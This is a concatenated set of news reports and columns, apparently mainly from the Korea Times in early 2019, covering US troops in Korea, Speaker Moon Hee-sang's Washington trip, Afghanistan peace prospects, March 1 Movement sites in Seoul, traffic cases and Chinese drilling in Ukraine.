In this whole scenario, China also needs to play its role. China would step up with money to reconstruct the war-ravaged economy. Afghanistan is rich in mineral and Chinese help would turn it into a hub for business. The control of minerals would stop other groups minting money and creating chaos in Afghanistan. It is a huge task with many complications but it is hoped that this can be controllable by a powerful government.



Chinese influence would not be turning Kabul against the Americans. However, the role of America inside Afghanistan would be weakened. The Ashraf Ghani regime is not acceptable to the Taliban at any price. The Taliban do not want to share power with Ghani. He has to go. It is possible for the Taliban to try other groups.



The Taliban have shown an inclination toward the Chinese and are willing to accept them. For Pakistan, it looks easy and feasible to go with China regarding Afghanistan. It will be necessary for the Americans to accept this as a durable peace in Afghanistan is not possible without China and Pakistan.



The Chinese are more willing to reconstruct Afghanistan and provide money, while Pakistanis are more concerned with providing military assistance to the Taliban. To a large extent, Afghanistan would bring into a trans-Asia corridor  a Chinese recipe for the war-ridden country.



China also could guarantee that Russia would not enter Afghanistan. They need to keep Russia away from Afghan soil at least during the reconciliation period. After that it would be possible to allow Russia into Afghanistan.



Meanwhile, India should continue its development work in Afghanistan, but its political role could be a possible factor of conflict with Pakistan. There is need to sort out these differences to rebuild Afghanistan.



Iran should be welcomed in Afghanistan to continue to engage with the local population at a minimum level. Iran should not be allowed a bigger role in Afghanistan. Any bigger role would disturb the United States.



In these contexts, Zalmay Khalilzad's mission is the most important of all U.S. missions taken so far to resolve the Afghan stalemate. He should be given enough time to finish his task.



War and conflict in Afghanistan depends on his success. The Afghan crisis will continue if Khalilzad's mission fails. Peace with the Ghani regime or without it is the call of the day, and efforts should be made to bring peace to Afghanistan.





The writer is a consultant at the Institute of Strategic Studies Islamabad. He writes on East Asian affairs.



By Na Jeong-ju

Politics editor





The U.S. troop presence in South Korea is purportedly not a bargaining chip in the ongoing nuclear negotiations with North Korea.



However, as the second summit between U.S. President Donald Trump and North Korean leader Kim Jong-un looms, fear is palpable here about possible withdrawal or reduction of the 28,000-strong U.S. Forces Korea (USFK).



It seems highly likely that the leaders will discuss formally ending the Korean War in the upcoming meeting in Hanoi  and could possibly reach a certain form of agreement regarding this as part of a broader denuclearization deal.



One sticking point in this case will be how much longer the U.S. will keep its troops in South Korea. This is because a declaration to end the war may lead to a peace treaty, and ultimately a readjustment of U.S. troops in Northeast Asia.



Trump may use the summit in Hanoi to draw a big picture about this, given his past remarks about the U.S. troop presence here. That will surely depend on a new role to be given to the USFK in a peaceful era.



It is true that the U.S. cannot keep its forces here forever, but downsizing or a pullout should not be a cause for panic among South Koreans. That will follow U.S. strategic interests most of all, but what is most important to South Korea is whether it is fully prepared for the absence of the U.S. forces.



About 4,000 servicemen will be moved back to the U.S. this year after finishing their rotational duties in South Korea. Their positions will be filled by soldiers from bases outside Korea, according to the Korea-U.S. Combined Forces Command.



This is only part of the readjustment of U.S. troop allocation abroad, but sparked rumors here about possible pullout.



What is worrisome is that the presence of U.S. troops here and the state of panic South Koreans feel toward such rumors are being used as leverage for certain interests by politicians, the media and even the U.S. president.



Trump has reportedly sought the withdrawal of all or some U.S. troops in South Korea as a bargaining chip in the nuclear talks with Pyongyang. And his "business interests" over the USFK was evident in the recently-ended defense cost negotiations with South Korea.



In a Cabinet meeting, Tuesday, Trump proudly said South Korea agreed to pay more for the U.S. defense, and the agreement was credited to "a couple of his phone calls." South Korea agreed to pay some 1.04 trillion won ($920 million), up 8.2 percent from last year.



Trump has complained for years that stationing troops in Korea is too expensive. The renewed deal is only valid for one year, unlike the previous agreement, which lasted for five. It is not hard to imagine how great the pressure from Trump will be in the coming years over the cost of the alliance with Washington.



As of now, the cost issue is one thing, and concerns about a possible troop pullout are another for South Koreans. However, that will be a different story if the two Koreas become closer and doubts over inter-Korean peace wane.



Then there will be a full reassessment of the strategic advantages the U.S. troop presence has to offer to South Korea. If the time comes, the U.S. should be able to answer fundamental questions about why it keeps troops in South Korea.

Fr. Bartholomaeus Henneken



By Kim Ae-ran



It is always a joy to meet a humble and gentle person. Fr. Bartholomaeus Henneken, German missionary of the Order of St. Benedict, is such a person.



I met him just twice when I visited a small migrant workers community at the old Gothic Catholic Church at Waegwan Abbey of OSB. Each time after Mass, I noticed he was sincerely paying attention to a mentally disordered lady who has nobody to take care of her.



The way he talks, welcomes and listens to others with generosity, encouraging with goodness and compassion gave me a deep impression. His warm-hearted hospitality and cheerful consideration made me search for some bits of his life in Korea in internet.

He makes me ponder on the meaning of being a missionary.



Several years ago, I wanted to be a missionary but I returned to the country after trial and error for two and half years. As I reflected later on, I realized my ego was too strong. In spite of my intention to place Jesus in the first place of my life, "I" was in the center



Fr. Bartholomaeus, Hyun Ik-hyun in Korean, witnesses that being a missionary is to love God above all and to love people as neighbors.



He is the second child among two sons and three daughters. His uncle-in-law priest as his godfather influenced him to be a priest. He made the first profession in 1961 and was ordained a priest in 1966. At that time, he chose "God is love" (1John 4:16) as his priesthood motto.



Then, he was sent to Korea in 1968. From 1970 onwards, he served as the parish priest in four parishes in Waegwan, Shindong, Yakmok and Gasil in Daegu Archdiocese.

Most of the time while doing his pastoral service, he observed that many lives of parishioners were so painful and struggling that he could understand the Buddhist concept of life as the sea of suffering.



As a parish priest, he always volunteered to clean the public toilet in the church. When dining together with parishioners, he was willing to pay for them.



After celebrating the 50th anniversary of profession in 2016, he was assigned to be a Spiritual director at the seminary in Daegu Catholic University. He also teaches the German language and helps the Filipino migrant workers' community since 2008.

Directing the Filipino community, he suggests them to read the Bible in their own language, Tagalog, and he lets them organize the community with various ideas such as reading the spiritual books, singing joyfully with the band during the Mass, having the retreat, etc.



His point of values is much more than that of Korean. He is the one who recovered the original name of "Gasil" (meaning a beautiful village) parish. During the Japanese colonization, the name was changed into "Naksan," but he recovered the original name during his pastoral service in 2005.



He even let the original copy of "Yangbong Yoji" (Bienenzuchtthe, the handbook for beekeeping) to be returned from German to Korea after 100 years.



Where does his power of witness as a missionary come from? I dare say that his spiritual energy comes from his recognition of God as love. He regards meditation and prayer as two essential pillars of the religious life. Especially the Mass (Eucharistic celebration) is the most powerful source of love and grace.



To him, the mission of evangelization is being a neighbor. He believes that life will go well when we live with gratitude. Truly, the most important thing in our life is love.



The author is a member of the Daughters of St. Paul (Figlie di San Paolo) living and giving the Good News to the world by means of social communication. Learn more about the congregation at fsp.pauline.or.kr.

South Korea's National Assembly Speaker Moon Hee-sang, center left, smiles with U.S. House Speaker Nancy Pelosi, center right, at the end of their meeting in Washington, D.C., on Feb. 13 (KST). Yonhap



By Kim Yoo-chul



A group of South Korean parliamentary leaders led by National Assembly Speaker Moon Hee-sang discussed with U.S. congressional leaders how to deal with North Korean denuclearization.



Speaking to South Korean reporters in Washington, D.C., Wednesday (KST), after meetings with U.S. congressional leaders, Moon said the sides reaffirmed the ironclad alliance and pledged to maintain close coordination to ensure the final, fully verified denuclearization of North Korea.



"The results of our meetings with senior U.S. congressional leaders including House Speaker Nancy Pelosi and U.S. Deputy Secretary of State John Sullivan were substantial in terms of driving the ongoing diplomatic process forward without meddling," Moon said.



The speaker dubbed the upcoming summit between U.S. President Donald Trump and North Korean leader Kim Jong-un to be held later this month in Hanoi, Vietnam, as a "great opportunity that only arrives once in a thousand years" for a permanent peace on the peninsula.



Specifically, Moon said his U.S. counterpart Pelosi told him that the first Trump-Kim summit in Singapore failed to produce "visible outcomes."



Other South Korean parliamentary leaders who also attended the Moon-Pelosi meeting had "candid discussions" regarding growing skepticism from Democrats in the House chamber over the North Korean leader's commitment toward the regime's complete denuclearization, according to Moon.









The U.S. intelligence community has long been skeptical of North Korea and long been skeptical that Pyongyang would ever be willing to abandon its nuclear program because the intelligence community assesses that the North believes those nuclear weapons are an "essential deterrent."



Beyond the North Korean issue, Pelosi asked Japan to apply more sincere steps to heal the wounds of Korean women forced to work in military brothels during the 1910-45 Japanese occupation.



"Pelosi showed keen interest in the comfort women issue and she fully acknowledged anger by South Koreans that Tokyo was too passive in properly atoning for specific wrongdoings. She told me that she is one of the strongest backers in supporting efforts to resolve the comfort women issue and added she is ready to provide help, if necessary," Moon said.







South Korea's National Assembly Speaker Moon Hee-sang, right, shakes hands with House Minority Leader Kevin McCarthy at the start of their meeting in Washington, D.C., on Feb. 13 (KST). YonhapContenders of the leadership race of the main opposition Liberty Korea Party (LKP) hold hands in a party meeting at the National Assembly, Wednesday. From left are, Rep. Kim Jin-tae, former Prime Minister Hwang Kyo-ahn, Park Kwan-yong, the chief of the party's election preparation panel and former Seoul Mayor Oh Se-hoon. / Yonhap



By Park Ji-won



Only three candidates have registered for the main opposition Liberty Korea Party (LKP) leadership election.



The three  former Prime Minister Hwang Kyo-ahn, former Seoul Mayor Oh Se-hoon and Rep. Kim Jin-tae  had their first meeting, Wednesday, pledging a fair competition ahead of the party's convention scheduled for Feb. 27.



"I ran in the election to stop the tyranny of this government. I will try my best with contenders to make this national convention contribute something for our unification and future," Hwang said.



"I will do my best to compete with other contenders fairly and fiercely to re-establish the party's vision and philosophy," Oh said.



"I hope we could fully discuss the issues of security, economy and society, respectively on each day so that candidates can show their abilities and thoughts."



Kim said, "As we all threw our hats into the ring, I hope we could compete with each other as much as possible. My contender is not LKP candidates but the Moon Jae-in administration."



Earlier, six out of eight contenders, except for Hwang and Kim, pledged not to run in the race unless the party accepts their request to postpone the national convention on Feb. 27, as it clashes with a second summit between North Korean leader Kim Jong-un and U.S. President Donald Trump in Hanoi.



The party's election preparation panel reviewed a possible delay, but decided not to accept their request and hold the convention as scheduled. Oh reversed his earlier pledge to join the race afterwards.



At the upcoming national convention, the LKP will elect its leader to fill the gap of former leader Hong Joon-pyo, who resigned from the post to take responsibility over a large defeat in the June local elections, and choose its Supreme Council members.

USFK Commander Robert Abrams / Xinhua-Yonhap



USFK chief shares idea with Senate



By Kim Bo-eun



Robert Abrams, commander of the U.S. Forces Korea (USFK), on Tuesday said U.S. troops need to stay here until a peace treaty is signed.



The remarks came in a Senate Armed Services Committee hearing. To a question about the need for the USFK to maintain its presence in South Korea, even if the nuclear threat from the North were to be eliminated, the commander said, "Yes, until there is a peace treaty, because we still remain in a state of armistice."



Abrams said the USFK presence "is appropriate in terms of providing an adequate deterrent" against North Korea.



The hearing reflected concerns in the Senate over a possible offer by U.S. President Donald Trump to pull out U.S. troops here amid negotiations with North Korea over its denuclearization, despite recent remarks by Trump that this was not being discussed.







This is the first in a three-part series on historic sites in Seoul related to the March 1 Independence Movement in 1919 and other activities for Korea's independence from 1910-45 Japanese colonial rule.  ED.



By Lee Suh-yoon



This year marks the 100th anniversary of the March 1 Independence Movement, which took place in 1919 for Korea's independence from Japan's 1910-45 colonial rule over the Korean Peninsula.



After the March 1 event, when 33 prominent cultural and religious leaders publicly released the "Proclamation of Independence," a series of peaceful mass demonstrations took place nationwide. The movement failed to liberate the nation from Japan, but led to the formation of the Korean Provisional Government in Shanghai, which functioned as the overseas bastion of Korea's independence movement until the Japanese occupation ended in 1945.



Seoul has many historic sites related to the March 1 Movement and many other independence rallies. The areas near Anguk Station and Insa-dong are where the Proclamation of Independence was secretly drawn up, printed and later read in public on March 1, 1919.



Anguk Station



Interactive boards with the faces and profiles of key March 1 Independence Movement fighters greet you the moment you step off the train at Anguk Station. Located on Seoul Metro Line 3, the station was refurbished last September in commemoration of the movement.



The stern faces greet you again from a glowing LED cylinder as you make your way up to the exit. On one side of the underground hall, an interactive timeline walks you through 100 years of modern Korean history. If you make your way out exit 4, you will see an image of the gates of the former Provisional Government in Shanghai imprinted on the glass ceiling over the staircase.



Seoul Metro turned Anguk Station into a small museum for the independence movement due to its proximity to relevant historic sites. The station offers easy accessibility to neighborhoods like Bukchon and Insa-dong  the stronghold of various independence activities with schools, religious centers and printing houses.





Choongang High School / Captured from Choongang High School Facebook



Sites in Bukchon



Bukchon, now swarming with hanbok-clad visitors with selfie sticks, was the cradle of the March 1 Independence Movement. A good portion of the capital's residents resided in the Bukchon and Jongno area in the early 1900s, when Seoul was still largely concentrated within its city walls north of the Han River. Numerous schools  students were the main participants in the March 1 rallies  and homes of prominent independence activists were located here.



Start the journey with a 10-minute walk up Gyedong Street from exit 3 of Anguk Station. At the top of the hill, you will see the gothic facade of Choongang High School, the site where the idea for the March 1 declaration was first sparked with a visit from Korean students studying in Tokyo.



After being inspired by Woodrow Wilson's Fourteen Points speech on national self-determination, the students drafted the Feb. 8 Independence Declaration  read out on the streets of Tokyo a month before the March 1 proclamation  and delivered their plans and an early draft of the Feb. 8 declaration to the teachers and headmaster at Choongang High School.



A memorial stone and statue mark the site of this night duty building where this momentous exchange took place. The March 1 Independence Movement memorial hall located on the school ground is built in the image of this building. Note that school grounds are open to visitors on weekends only.





Site of Yusimsa publishing house, now a hanok guesthouse named Yosimdang / Korea Times photo by Lee Suh-yoon



Trace your steps back down Gyedong Street. Tucked in a small alley to your right will be the old site of Yusimsa publishing house, identified by a small plaque on what is now a hanok guesthouse. Famed monk and poet Han Yong-un, one of the 33 leaders who signed the declaration, resided here while publishing a monthly Buddhist magazine called "Yusim." It was also here Han decided to join hands with leaders of other religious sects to plan the March 1 Independence Movement.



Back on Gyedong Street, veer left while facing Choongang High School and continue south on the next parallel street leading back to Anguk Station. On your right will be the site of the house of Son Byeong-hui (1861-1922), one of the 33 leaders who represented the Cheondogyo sect, an indigenous neo-Confucian religion dubbed the "heavenly way," in the drafting of the March 1 declaration. It is now identifiable by a square memorial stone next to Bukchon Traditional Museum.



Sites in Insa-dong



Now head south of Anguk Station. A two-minute walk from exit 5 brings you to Cheondogyo Central Church, where Son and other Cheondogyo independence activists held secret meetings.



Lee Jong-il, another representative in the 33-member council and head of the Boseongsa printing house a few blocks away, used to reside in a small shelter on one corner of the church grounds, now used as a parking lot. Some 20,000 copies of the declaration of independence were hidden here in the days leading up to March 1.





Cheondogyo Central Church / Korea Times photo by Lee Suh-yoon





A memorial statue inspired by scenes of protesters holding up the proclamation of independence on March 1, 1919, at the old site of Boseongsa printing house in Insa-dong / Korea Times photo by Lee Suh-yoon



Head down Insa-dong's main road and near the end, on your right, will be Seungdong Church where Christian student activists reviewed plans for the Mach 1 Independence Movement and coordinated the distribution of the declaration documents.



Walk back up Insa-dong's main road and turn left to reach the parking lot in front of Taewha building, the old site of Taehwagwan restaurant, now identifiable only by a memorial stone. It was here that the national representatives convened at 2 p.m. on March 1, 1919. Lee read out the proclamation and the Japanese Government-General in Korea was phoned and notified that Koreans formally rejected its colonial rule. Japanese police arrested the leaders on site.



Meanwhile, in Tapgol Park, across the street at the end of Insa-dong's main road, thousands  mostly students  gathered to hear the 33 leaders read out the proclamation of independence. But the leaders failed to appear, choosing to hold a smaller ceremony on their own at Taehwagwan for unclear reasons.





Palgakjeong, or eight-sided pavilion, in the middle of Tapgol Park / Korea Times photo by Lee Suh-yoonFriends of Yoon Chang-ho, who was killed by a drunk driver in Busan last year, comfort his mother at Busan District Court, Wednesday, after the offender was sentenced to a six-year prison term./ Yonhap



By Jung Hae-myoung



Busan District Court jailed a 27-year-old man for six years, Wednesday, after finding him guilty of hitting a soldier on leave with his car while driving under the influence of alcohol. The soldier, Yoo Chang-ho, died in hospital shortly after the incident.



The case drew attention after Yoon's friends petitioned for heavier punishment for drunk drivers, prompting lawmakers to seek to revise relevant regulations.



"He did not do pay attention while he was to driving, and the results were tragic," the court said. "Stern punishment is inevitable, as the family of the deceased strongly demands it and there is social consensus for heavy punishment for drunk driving."



After the verdict, Yoon's father hinted that he wanted heavier punishment, saying, "I respect the court's decision, but I doubt the punishment will appease the public sentiment."



He indicated the prosecution would appeal.



During the hearings, it was found that just before hitting Yoon, Park was trying to touch a woman sitting in the passenger seat. His lawyer claimed Park should be punished for violating the Traffic Law, not for drunk driving. Being found guilty of the former would significantly lower the length of any prison term.



Angered by Park's defense argument, saying he was trying to get leniency by avoiding responsibility and without repenting, the prosecution requested a 10-year prison term, instead of the eight years it previously asked for. The court also refused to accept Park's claim and tried him for drunk driving.



Park had a blood alcohol content of 0.181 percent when he hit Yoon and his friend at Haeundae in Busan, Sept. 25. Yoon, who had been serving with the Korean Augmentation Troops to the United States Army (KATUSA), was declared brain dead 46 days after being struck by Park's vehicle that sent him flying 15 meters through the air to land on concrete.



Yoon's death led to a revision of the relevant law, now called the Yoon Chang-ho Act, mandating heavier punishment and stricter criteria for drunk driving. The revised regulation was not applied to Park because the incident occurred before the revision.(People's Daily/Tan Wujun)

As of the end of 2018, Xinjiang Beiken Energy Engineering Co., Ltd., a Chinese company specialized in oil, gas, and other technical services has helped Ukraine drill nine wells for natural gas, six of which had been completed.

In 2017, Beiken signed the contract worth nearly 400 million yuan with UGV, Ukraines largest gas producer, under the framework of the Belt and Road Initiative and support from the Ukrainian government as it proposed an energy development strategy.

Now, Beiken has 249 Ukrainian workers. The company has put a lot of effort into providing training for these workers since Ukraine is comparatively weak in oil industrial infrastructure with limited drilling technology.

We would play a five-minute video of standard operation in drilling before work every day and offer Ukrainian workers training of basic theory. Each Chinese machinist teaches two to three students, said Li Meng, a manager for drilling platform.

The salary of Ukrainian staff will increase by 20 to 30 percent when they get promoted. Except for the motivation system, we elect one to two Ukrainian workers as models and give them proper incentives for every month, he added.

(People's Daily/Tan Wujun)

Im satisfied with my present job. I love the working atmosphere here. I have learned a lot of professional expertise and skills from my Chinese teacher, said Dima, a local drilling engineer, who was having trouble finding major-related work in the first three years after he graduated until Beiken entered the Ukrainian market.

The oil and gas drilling in Poltava has contributed about 10 percent to our national revenue. Chinese technology has brought welcome changes for us. We wish to deepen cooperation with Chinese enterprises, which could play a greater role in the economic development of Ukraine, said Maksim, public relations manager of UGV branch office in Poltava.

Liu Jun, Economic and Commercial Counselor of the Chinese Embassy in Ukraine, said that China and Ukraine share strong complementarities in oil and gas cooperation. The energy cooperation between China and Ukraine will surely become a new highlight in the joint building of the Belt and Road Initiative.

Beikens drilling project in Ukraine has also propped up the supporting industries for oil and gas. Boris, a project coordinator, said that Beiken creates new business opportunities for local companies, fueling growth of oil supply, machine repair, cross-border transport, and other sectors.U.S. President Donald Trump speaks during a Cabinet meeting at the White House, Tuesday (local time.) / AP



By Lee Min-hyung



U.S. President Donald Trump said South Korea's payment for the U.S. troop presence will increase further only days after both sides signed a one-year deal for the defense cost sharing.



"Working with U.S. Secretary of State Mike Pompeo and National Security Adviser John Bolton, they (South Korea) agreed to pay, yesterday, $500 million (560 billion) more toward their defense," Trump said in a Cabinet meeting, Tuesday (local time).



On Sunday, Seoul and Washington signed the one-year provisional deal on defense cost sharing, called the Special Measures Agreement (SMA) for the upkeep of United States Forces Korea (USFK).



Under the 2019 SMA, the South will pay 1.04 trillion won toward the upkeep of stationing 28,500 U.S. troops here, up 8.2 percent from the previous year. This is an increase of 78.7 billion won, compared with last year, not the amount stated by Trump.



It remains unclear why the U.S. president made the remark with such an obviously factual error. But it is highly likely that he overstated the amount to score a political point there and raise his approval rating.



"They were paying about $500 million for $5 billion worth of protection," Trump said. "We have to do better than that. And over the years, it will start going up, and they will be terrific."



The remark came only a few days after Seoul and Washington signed this year's SMA.





U.S. army soldiers walk with a military robot during a joint military exercise in Daegu, south of Seoul, March 20, 2005. U.S. President Donald Trump has called for a further increase in South Korea's share of the cost of stationing U.S. troops on the Korean Peninsula. Yonhap



U.S. President Donald Trump on Tuesday called for a further increase in South Korea's share of the cost of stationing American troops on the peninsula.



Trump's remarks came only days after the allies signed a preliminary agreement renewing their cost-sharing deal for the 28,500-strong U.S. Forces Korea.



"As you know, South Korea  we defend them and lose a tremendous amount of money," the U.S. president said at a Cabinet meeting, repeating a signature refrain.



"Billions of dollars a year defending them. They agreed, at my request. And working with Secretary (of State) Pompeo and (National Security Adviser) John Bolton, they agreed to pay, yesterday, (US)$500 million more toward their defense," he claimed. "Five-hundred million, with a couple of phone calls. I said, 'Why didn't you do this before?' They said, 'Nobody asked.' So  it's got to go up. It's got to go up."









By Kang Seung-woo







The Korea Times Managing Editor Shim Jae-yun has been named the winner of the 2019 journalist award presented by the Konkuk University alumni association of journalists.







Korea Times Managing Editor Shim Jae-yun





Shim, who majored in English language and literature at the Seoul-based school, joined the newspaper in 1990 and has served as editor of the business, politics and city desks, and deputy managing editor.







Along with Shim, Korea Press Photographers Association President Lee Dong-hee is the co-winner of the annual award.







The award ceremony will be held on Feb. 19 at the Korea Press Center on the sidelines of the alumni association's New Year meeting.













National Assembly Speaker Moon Hee-sang presents his gift scroll to Speaker of the U.S. House of Representatives Nancy Pelosi during his visit to U.S. Capitol, Tuesday. The scroll contains the Chinese phrase that reminds one of flunkeyism and the erroneous English usage. Yonhap



By Oh Young-jin



National Assembly Speaker Moon Hee-sang gave the wrong gift to U.S. House Speaker Nancy Pelosi during his visit to the latter in Washington, D.C., Tuesday, with a group of lawmakers.



The gift in question was a scroll with Chinese calligraphy he presented in person. The photo of the occasion has been posted on media websites and carried in newspapers.



There are two problems -- the first being plain to see and the second more subtle and more damaging.



The first is "Dear Pelosi" written on the right side of the scroll. Missing is the honorific "Madam" or job title "Speaker" or "Madam Speaker" ahead of her last name.



Addressing the speaker just as Pelosi is inappropriate at best and ignorant at worst.



Then, "Dear" looks misplaced because it is not a letter but a scroll. Then, it violates the usual rule of scroll writing that allows for the name of the writer with their pen name and stamp of their seal, not that of the recipient.



The second is the four Chinese characters writ large.



Chinese characters were used by the upper class to boast of their knowledge and show their superiority over the ordinary classes in the Joseon Kingdom, a tradition that has survived in pockets of society.



Moon and his aides should have remembered what happened after the summit between U.S. President Donald Trump and Chinese President Xi Jinping in the Mar-a-lago Hotel in Florida.



Trump quoted Xi as telling him that Korea belonged to China during their private walk. Trump's lack of historical knowledge and resultant gullibility, most likely shared by much of the American public, is reinforced by Western society's Sino -centric view of Asia.



It wouldn't be a great exaggeration if Moon had helped strengthen such a Western belief with his Chinese gift. Of course, the chance is that Pelosi won't be as single dimensional as Trump.



Then, the meaning of Moon's favorite phrase is detrimental to Korea's image _ the Yellow River of China flows through countless turns and twists but only heads east.



The speaker uses it to express his conviction that North Korea's denuclearization and establishment of a peace structure will eventually be achieved despite many challenges.



But the history of the phrase is rather unsettling.



It goes back to an ancient Chinese philosopher who first used the term to describe "what comes around goes around." But it was etched on a rock on the outskirts of Seoul by a provincial bureaucrat of the Joseon Kingdom to express deep appreciation and respect for the Ming Dynasty in order to save his country from the 1592 Japanese invasion.



The etching is a symbol of the kingdom's "flunkeyist" or "sadae" relationship with the dynasty, which was toppled by the Manchurians and succeeded by the Qing Dynasty.



Noh Young-min, now President Moon Jae-in's chief of staff, took flak for writing that phrase in the visitors' log when he presented his credentials as ambassador to Chinese President Xi Jinping in December 2017.



The embassy explained that it was not a show of flunkeyism but Noh's wish for good bilateral ties.



But call a spade a spade and it was a mistake made by Noh that makes our country sound and look inferior to the other nation. The same goes with our speaker.



Since it is against Korean custom for a giver to ask for the gift back, Pelosi would be greatly appreciated if she returns the scroll to Moon privately so he will be able to fix it before giving it back to her. More properly, Moon should give her a new one that bears our beautiful Korean hangeul script.Korea's National Assembly Speaker Moon Hee-sang said he stands by his earlier call on the Japanese emperor to apologize for Japan's wartime sexual enslavement of Korean women. Korea Times file



South Korea's National Assembly speaker said Tuesday that he stands by his earlier call on the Japanese emperor to apologize for Tokyo's wartime sexual enslavement of Korean women.



Moon Hee-sang sparked controversy after he told Bloomberg last week that Japanese Emperor Akihito should issue a personal apology for his country's forced mobilization of Korean sex slaves during World War II.



He also called the emperor "the son of the main culprit of war crimes."



During a parliamentary session Tuesday, Japanese Prime Minister Shinzo Abe called Moon's remarks "extremely inappropriate." The Tokyo government has also asked him to retract his words and apologize.



"It's not something I should apologize for," the speaker told reporters during an official trip to Washington.



"What I said was what I have always believed in and said for the past 10 years," he said. "I still think that's the fundamental way to address it."



Relations between Seoul and Tokyo have recently deteriorated to their worst in years due to military spats and issues related to Japan's 1910-45 colonial rule of the Korean Peninsula.



"When it comes to the comfort women issue, there is only one problem, and that is a sincere apology," Moon continued. "My basic message is that there's no reason for (Japan) to hold on to this issue for so long when it could be over with a sincere apology."



Historians say as many as 200,000 Asian women, mostly Korean, were forcibly sent to front-line brothels to work for Japanese troops. The victims are euphemistically called "comfort women."



Moon expressed bewilderment over the Japanese government's calls for an apology, saying the least Abe could have done was to send a condolence wreath to Kim Bok-dong, a South Korean victim who recently died after gaining prominence for her campaign for women's rights.



"If (Abe) were to hold the surviving women's hands and say (Japan) was wrong, that he is sorry, then they would immediately say they forgive (Japan)," Moon said. (Yonhap)

The number of a fatal car accidents caused by drivers who are 65 or older is on s steady rise. gettyimagesbank



A fatal traffic accident in Seoul caused by a driver in his 90s has rekindled a heated debate about drivers of advanced age getting behind the wheel.



On Tuesday evening, a sport utility vehicle driven by a 96-year-old man, identified only by the surname Yoo, ran over and killed a 30-year-old pedestrian in front of a hotel in Cheongdam-dong, southern Seoul, police said Wednesday.



The SUV collided with a passenger sedan while backing out of the hotel's underground parking lot before hitting the pedestrian at around 6:20 p.m., police said.



The pedestrian, identified only by the surname Lee, was rushed to hospital but pronounced dead immediately, they added.



Last December, a driver in his 70s mistook the accelerator pedal for the brake and drove his car into a hamburger shop in Busan.



On Nov. 3 last year, a car driven by a man in his 70s smashed into a hospital in Jinju, South Gyeongsang Province, after the driver stepped on the accelerator instead of the brake while in the hospital's parking lot.



Many traffic experts say that older people have higher chances of causing traffic accidents due to their weaker cognitive abilities and slower body responsiveness.



The trend has been verified in traffic accident data, as the number of elderly drivers has grown in accordance with population aging.



According to data released by the Road Traffic Authority, the number of traffic accidents caused by drivers older than 65 has been on the rise in recent years, increasing from 17,590 cases in 2013 to 20,275 in 2014, 23,063 in 2015, 24,429 in 2016 and 26,713 in 2017.



The portion of traffic accidents caused by elderly drivers out of the nation's total has also risen from 9 percent in 2014 to 11 percent in 2016 and 12.3 percent in 2017.



The number of traffic deaths caused by elderly drivers jumped from 737 in 2013 to 848 in 2017.



In particular, the number of traffic accidents caused by people between the ages of 75 and 79 increased 14.3 percent in the 2013-2017 period, while the corresponding figure for drivers older than 80 rose 18.5 percent.



The government has recently introduced several policy measures to encourage elderly people to stop driving.



Starting this year, drivers older than 75 are obliged to renew driver's license and take an aptitude test every three years, instead of every five years. They are also required to complete two hours of training on traffic safety when renewing their driver's license.



In addition, many provincial governments are offering cash and other incentives for elderly drivers who voluntarily give up their licenses. Police data showed a total of 15,528 people, mostly senior citizens, gave up their licenses in the one year leading up to last month. (Yonhap)

Russian President Vladimir Putin gestures as he delivers his speech at the plenary session of the Business Russia forum in Moscow, Feb. 6. AP



Russia is considering providing North Korea with 50,000 tons of wheat as humanitarian assistance at the request of Pyongyang, the chief of the Russian Senate's foreign affairs committee was quoted as saying.



Konstantin Kosachev, chair of the Foreign Affairs Committee of the Federation Council, made the remark during a meeting with North Korean Ambassador to Russia Kim Hyong-jun on Monday, Tass news agency reported.



"The Russian agencies are considering the request of the Korean side on granting them 50,000 tonnes of wheat to make up for the losses caused by natural disasters last year," Kosachev was quoted as saying. "We hope that a solution will be found."









By Kim Bo-eun







North Korea's media condemned the South Korean military, Wednesday, for the Joint Chief of Staff (JCS) chairman's recent visit to military units.







JCS Chairman Park Han-ki visited units of the Army, Marines and Air Force during the Lunar New Year holiday, to check their defense posture and thank soldiers for their service.







Rodong Sinmun, North Korea's ruling Workers' Party's mouthpiece, referred to the JCS chief's visit as "going against the flow of an era of dialogue and peace."







The paper also criticized a winter-season drill that was held in Gangwon Province last month.







In addition, it referred to the defense ministry's plan for 2019 to 2023 unveiled last month, and said these are in line with "dangerous military moves."







The plan stated the South would increase defense spending by an average of 7.5 percent each year over the next five years, with the goal on building "independent capabilities to counter threats from all directions."







The Rodong Sinmun said "the South Korean military's hostile moves" go against the inter-Korean agreements reached at summits last year.







"Provocative military moves that create obstacles in a flow of dialogue and peace should not be accepted," it said.







The statements are seen to be pressuring the U.S. as a summit between the countries' leaders approaches at the end of this month.







South Korea has maintained its stance that despite the measures that have been taken to reduce military tension and build trust with the North amid the detente, its defense posture should remain firm.







North Korea has continued its own military drills. Its army is known to have begun its winter training for this year in the same scale and scope as previous years. A force of over 1 million is believed to be engaging in the exercises.







While Pyongyang has reduced hostile rhetoric and public military displays, the North's military posture is seen to remain unchanged.

Lee Sang-jae (1850-1927), in left photo, served as the first secretary of the Korean Legation in Washington, D.C., from 1888 to 1889. He is one of the founding members of the Korean mission established in the United States. The right photo is Lee's book about funeral proceedings. The Cultural Heritage Administration (CHA) unveiled five documents and three old photos related to the Korea mission in the United States./ Courtesy of CHA



Old documents about Korean mission to US unveiled



By Kang Hyun-kyung



Over century-old documents display the struggle and immense pressure of the founding members of the Korean mission in the United States in the 1880s when sovereignty of their home country Joseon (1392-1910) was in peril amid power struggles among surrounding imperialist countries.



In a letter to his family written on April 13, 1888, Lee Sang-jae (1850-1927), then first secretary at the Korean Legation in Washington, D.C., which later became the Embassy of the Republic of Korea in the United States, revealed his determination to better represent his country.



"Diplomats from some 30 countries are posted in this country," the letter reads. "They are from rich and powerful countries and our country Joseon is the poorest and weakest. But I won't give in to anybody. If I lose out in this deadly diplomatic battle, it will be shame on my country as well as our mission here."



Assigned as first secretary in 1887, Lee, along with Minister Park Jeong-yang, headed to the United States in August to set up the legation. In the face of China which tried to exert influence on Joseon, Lee and other members stayed there less than a year.



The letter written on April 13, 1888, was one of 38 notes Lee wrote during his tenure at the legation.



The Joseon diplomat's letters were part of the five documents and three old photos that were made public on Wednesday.



The Cultural Heritage Administration (CHA) in collaboration with the Overseas Korean Cultural Heritage Foundation unveiled the historic documents. Lee's grandson donated the documents and other family heirlooms such as photos to the National Palace Museum of Korea.



The Overseas Korean Cultural Heritage Foundation acquired information about the existence of such documents while recovering the Korean Legation in Washington, D.C.



In another letter sent to his family, Lee, better known among Koreans by his pen name Wolnam, complained about the Chinese interference in the Korean mission.

